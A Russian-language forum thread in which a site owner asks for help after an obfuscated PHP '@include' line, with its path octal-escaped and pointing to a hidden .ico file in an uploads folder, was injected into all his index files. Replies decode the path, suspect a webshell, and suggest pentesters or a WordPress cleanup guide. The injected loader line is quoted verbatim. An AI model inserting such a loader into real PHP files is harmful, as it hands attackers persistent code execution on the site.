Проблема с вредоносным кодом PHP, который сам встраивается

[Кирилл Цицорин]

Всем доброго времени суток. Прошу знающих подсказать, как бороться с данной патологией ибо Я сам очень далек от ИБ.
Дело в том, что в один момент, полгода назад на сервере появились подозрительные файлы расширения .php и .ico.
Файлы php имели названия из набора латинских букв. Но самое неудобное, что во все индексы встраивается вот этот код:

/*51ceb*/

@include "\057var\057www\057kir\151ll/\144ot.\155edk\162mu/\146las\153/up\154oad\163/96\06141/\0568f0\06373d\067.ic\157";

/*51ceb*/

Вот сами файлы.

Подскажитее как решить проблему, пожалуйста.

 

[Сергей Сталь]

Если сам далек, то лучше обратись к услугам опытных пентестеров.
На данном форуме присутствует их услуга, это будет намного надежнее

контакты

 

[Кирилл Цицорин]

Если сам далек, то лучше обратись к услугам опытных пентестеров.
На данном форуме присутствует их услуга, это будет намного надежнее

контакты

если бы у нас был бюджет то обратились бы)

 

[larchik]

Всем доброго времени суток. Прошу знающих подсказать, как бороться с данной патологией ибо Я сам очень далек от ИБ.
Дело в том, что в один момент, полгода назад на сервере появились подозрительные файлы расширения .php и .ico.
Файлы php имели названия из набора латинских букв. Но самое неудобное, что во все индексы встраивается вот этот код:

/*51ceb*/

@include "\057var\057www\057kir\151ll/\144ot.\155edk\162mu/\146las\153/up\154oad\163/96\06141/\0568f0\06373d\067.ic\157";

/*51ceb*/

Посмотреть вложение 62392

Вот сами файлы.

Подскажитее как решить проблему, пожалуйста.

Привет. Похоже на то, что встраиваемый код включает какой-то файл по пути /var/www/kiril/.../flask/uploads/96141/.8f0373d7.ico
Вероятно этот самый файл - полезная нагрузка (вебшелл или еще что-то). Это говорит о том, что сервер уязвим (скорее всего сам сайт). Следовательно, чтобы решить проблему, надо найти уязвимость и устранить ее.

если бы у нас был бюджет то обратились бы)

Поэтому бюджет нужен.

Ты не одинок, тут по тексту описана эта проблема: How to detect and clean viruses from WordPress?
Направление, в какую сторону копать, у тебя есть.